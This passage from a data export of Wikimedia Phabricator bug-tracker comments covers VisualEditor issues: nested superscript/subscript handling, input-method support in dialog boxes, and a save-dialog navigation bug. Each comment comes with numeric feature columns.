https://gerrit.wikimedia.org/r/114488",,,1392913587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,0.95,"Change 114488 had a related patch set uploaded by Esanders:
Allow annotations to remove other annotations

GERRIT_URL"
236777,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to Ed Sanders from comment #10)
> I don't think we need to alienate such nested content though, in the same
> way we don't alienate a double bold tag (if someone used one). As long as
> the user doesn't try to change the sub/superscripting, the annotations will
> remain untouched.

I'm willing to trust you on implementation details :)",,,1392911441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,7.0,17.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7666666666666667,"(In reply to Ed Sanders from comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

I'm willing to trust you on implementation details :)"
236771,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","I agree that the sub/superscript tool should clear any other sub/superscript annotations present. As pointed out you can't do a double superscript, so clearly our goal is not to let you create any complex hierarchy you want, that's for <math>.

I don't think we need to alienate such nested content though, in the same way we don't alienate a double bold tag (if someone used one). As long as the user doesn't try to change the sub/superscripting, the annotations will remain untouched.",,,1392911200,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,1.0,1.0,0.0,0.0,4.0,9.5,0.5,0.0,1.0,1.0,3.5,3.5,0.0,0.0,0.0,4.0,1.0,7.5,7.0,1.0,2.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,8.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,0.0,0.0,5.5,0.5,3.0,1.5,0.0,7.0,0.0,0.0,0.0,0.0,7.5,0.0,1.0,0.0,5.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,3.830188679245283,0.8018867924528302,"I agree that the sub/superscript tool should clear any other sub/superscript annotations present. As pointed out you can't do a double superscript, so clearly our goal is not to let you create any complex hierarchy you want, that's for <math>.

I don't think we need to alienate such nested content though, in the same way we don't alienate a double bold tag (if someone used one). As long as the user doesn't try to change the sub/superscripting, the annotations will remain untouched."
236765,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to James Forrester from comment #8)
> (a) what should happen in VE when the user attempts this

Text should be either super- or subscripted, not both.

Nesting superscripts in subscripts, subscripts in superscripts,
subscripts in subscripts and superscripts in superscripts
should be impossible, just like it's impossible to nest links in other
links. Currently only the last two are impossible.

> (b) what should happen in VE when the page already has this

The same thing that happens with all other unsupported input: it
should be alienated and left alone.

> (c) what should be changed in MediaWiki's PST to stop this happening
> in future(?).

Nothing. I suppose there are very rare use cases where this could be
wanted, we should just keep supporting them for backwards-compatibility.

In fact, the only things that I see in existing articles are currently
impossible in VE – you can't nest superscripts to produce, say,
10<sup>10<sup>26</sup></sup> (10^{10^26}) used in [[pl:Oś czasu dalekiej
przyszłości]]. Arguably this should just use <math/> tags though.",,,1392900216,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0.5,0.0,0.5,0.5,1.0,6.0,1.0,0.0,0.5,0.0,5.0,0.5,0.0,1.0,0.5,1.5,0.5,7.0,8.5,0.5,1.0,2.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,3.5,1.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,0.5,0.0,14.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.5,0.0,1.5,3.5,9.0,0.5,2.0,3.5,0.0,0.0,0.0,0.5,5.0,0.5,2.0,0.0,3.5,8.5,3.5,0.0,0.0,0.0,3.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,4.5,4.041666666666666,0.6770833333333334,"(In reply to James Forrester from comment #8)
QUOTE

Text should be either super- or subscripted, not both.

Nesting superscripts in subscripts, subscripts in superscripts,
subscripts in subscripts and superscripts in superscripts
should be impossible, just like it's impossible to nest links in other
links. Currently only the last two are impossible.

QUOTE

The same thing that happens with all other unsupported input: it
should be alienated and left alone.

QUOTE
QUOTE

Nothing. I suppose there are very rare use cases where this could be
wanted, we should just keep supporting them for backwards-compatibility.

In fact, the only things that I see in existing articles are currently
impossible in VE – you can't nest superscripts to produce, say,
10<sup>10<sup>26</sup></sup> (10^{10^26}) used in [[pl:Oś czasu dalekiej
przyszłości]]. Arguably this should just use <math/> tags though."
236760,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Wikitext lets you do this too. Do you think we should just silently kill all examples of this in the database? :-)

Closing again unless you can suggest (a) what should happen in VE when the user attempts this, (b) what should happen in VE when the page already has this, and (c) what should be changed in MediaWiki's PST to stop this happening in future(?).",,,1392749738,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,10.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,2.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,9.0,4.0,1.0,11.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,5.0,2.0,0.0,0.0,5.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,2.0,3.5853658536585367,0.6463414634146342,"Wikitext lets you do this too. Do you think we should just silently kill all examples of this in the database? :-)

Closing again unless you can suggest (a) what should happen in VE when the user attempts this, (b) what should happen in VE when the page already has this, and (c) what should be changed in MediaWiki's PST to stop this happening in future(?)."
236754,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","A dupe was just filed, this is not just me. Reopening.",,,1384111164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,3.142857142857143,0.8571428571428571,"A dupe was just filed, this is not just me. Reopening."
236748,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",*** Bug 56795 has been marked as a duplicate of this bug. ***,,,1384111137,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56795 has been marked as a duplicate of this bug. ***
236743,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","As input, sure. But as output, HTML lets you do lots of things that VE doesn't.",,,1377476809,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.9047619047619048,"As input, sure. But as output, HTML lets you do lots of things that VE doesn't."
236740,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to comment #2)
> Do other text editors permit that? I don't know of any that would.
> 
> (Or in other words, this is not fitting users' expectations.)

Well, HTML lets you do this, which means VE needs to support it on the input side at the very least.",,,1377474493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,5.0,13.0,8.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.076923076923077,0.8205128205128205,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Well, HTML lets you do this, which means VE needs to support it on the input side at the very least."
236737,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(Or in other words, this is not fitting users' expectations.)",,,1377467182,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,"(Or in other words, this is not fitting users' expectations.)"
236734,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Do other text editors permit that? I don't know of any that would.,,,1377467085,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.9375,Do other text editors permit that? I don't know of any that would.
236730,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","I don't see how this is a bug? Yes, it's bad, in the same way that setting text's colour to be white, or putting an image inside another image's caption, but that doesn't mean we should stop people doing it…

Generally, appropriate use of the software is a social thing, not a software thing. Willing to be convinced otherwise, but for now I'll mark this as a WONTFIX.",,,1377466817,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,1.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,9.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,15.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,8.0,5.0,7.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,3.511627906976744,0.7093023255813954,"I don't see how this is a bug? Yes, it's bad, in the same way that setting text's colour to be white, or putting an image inside another image's caption, but that doesn't mean we should stop people doing it…

Generally, appropriate use of the software is a social thing, not a software thing. Willing to be convinced otherwise, but for now I'll mark this as a WONTFIX."
55324,ULS support needed in VisualEditor's dialog boxes,"We need ULS support in dialog boxes-

1) Template dialog boxes - adding existing template for setting paratmeters
2) Image dialog box
3) Adding or editing references

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377447360,1454774965.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,4.294117647058823,0.6862745098039216,"We need ULS support in dialog boxes-

1) Template dialog boxes - adding existing template for setting paratmeters
2) Image dialog box
3) Adding or editing references

--------------------------
**Version**: unspecified
**Severity**: enhancement"
605051,ULS support needed in VisualEditor's dialog boxes,Fixed with https://gerrit.wikimedia.org/r/#/c/264577/,,,1454774965,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,135,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed with URL
236466,ULS support needed in VisualEditor's dialog boxes,"Pavanaja: Can you elaborate on what you mean by ""We need ULS support in dialog boxes"". I think you mean ""input method support"", but I'd like to be sure.

Additionally, if you could please add the following:
1. Numbered steps to reproduce.
2. Observed behavior
3. Expected behavior

This would allow us to unambiguously understand what you expect, and work towards resolving the issue you experience.",,,1378119977,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,8.0,0.0,1.0,7.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,1.0,13.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,11.0,9.0,2.0,0.0,5.0,0.0,11.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,2.0,3.852272727272727,0.6818181818181818,"Pavanaja: Can you elaborate on what you mean by ""We need ULS support in dialog boxes"". I think you mean ""input method support"", but I'd like to be sure.

Additionally, if you could please add the following:
1. Numbered steps to reproduce.
2. Observed behavior
3. Expected behavior

This would allow us to unambiguously understand what you expect, and work towards resolving the issue you experience."
236460,ULS support needed in VisualEditor's dialog boxes,"(In reply to comment #0)
> We need ULS support in dialog boxes-
> 
> 1) Template dialog boxes - adding existing template for setting paratmeters
> 2) Image dialog box
> 3) Adding or editing references

Is this something that is done on the VisualEditor side, or inside ULS? I'm pretty sure that there was no change made in VE for the enabling of jquery.IME inside the main VisualEditor surface…

(Please move back if I'm wrong.)",,,1377823487,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,8,,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,3.0,14.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,3.0,1.0,7.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,4.0,14.0,11.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.7285714285714285,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Is this something that is done on the VisualEditor side, or inside ULS? I'm pretty sure that there was no change made in VE for the enabling of jquery.IME inside the main VisualEditor surface…

(Please move back if I'm wrong.)"
236454,ULS support needed in VisualEditor's dialog boxes,"[New feature => setting the ""Severity"" field to ""enhancement"". 
Feel free to do so yourself when filing a report.]

(In reply to comment #0)
> We need ULS support in dialog boxes-
> 
> 1) Template dialog boxes - adding existing template for setting paratmeters
> 2) Image dialog box
> 3) Adding or editing references

Please please elaborate what that means, for example steps to reproduce, current outcome, and expected outcome. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1377460860,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ye62pxccv2jh5w3o2yl7,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,10.0,3.0,1.0,0.0,1.0,8.0,4.0,0.0,6.0,0.0,1.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,3.0,3.5555555555555554,0.7083333333333334,"[New feature => setting the ""Severity"" field to ""enhancement"". 
Feel free to do so yourself when filing a report.]

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please please elaborate what that means, for example steps to reproduce, current outcome, and expected outcome. Also see URL"
55313,VisualEditor: Can't return to save dialog after reviewing null edit,"reported on en.wp by Atethnekos:

""So I put a space and then a backspace. Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page."" So then I press the little back link on the dialogue, but it just goes back to the processing dialogue. If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message. Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although then pressing back does take me to the save dialogue securely. FF 23.0.1 Win7""

I've confirmed this in Firefox 23.0 on Linux.
The issue is with the < link only. Clicking the ^ does return you to the editing screen as expected.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1377426420,1381187081.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.6666666666666666,3.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,1.0,8.333333333333334,9.666666666666666,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.3333333333333333,0.0,5.0,1.0,2.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,11.666666666666666,0.3333333333333333,0.6666666666666666,0.0,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.666666666666667,1.3333333333333333,8.0,1.6666666666666667,1.6666666666666667,8.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.333333333333333,9.666666666666666,1.6666666666666667,0.0,2.6666666666666665,0.0,5.333333333333333,0.0,0.0,1.6666666666666667,1.0,1.0,0.0,0.3333333333333333,0.3333333333333333,3.722982456140351,0.6741520467836257,"reported on en.wp by Atethnekos:

""So I put a space and then a backspace. Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page."" So then I press the little back link on the dialogue, but it just goes back to the processing dialogue. If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message. Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although then pressing back does take me to the save dialogue securely. FF 23.0.1 Win7""

I've confirmed this in Firefox 23.0 on Linux.
The issue is with the < link only. Clicking the ^ does return you to the editing screen as expected.

--------------------------
**Version**: unspecified
**Severity**: minor"
235872,VisualEditor: Can't return to save dialog after reviewing null edit,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187081,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,27.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,19.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.8076923076923077,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October."
235867,VisualEditor: Can't return to save dialog after reviewing null edit,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1381186923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ezxtdsztbaq4wuvaxjmv,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

GERRIT_URL"
235861,VisualEditor: Can't return to save dialog after reviewing null edit,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

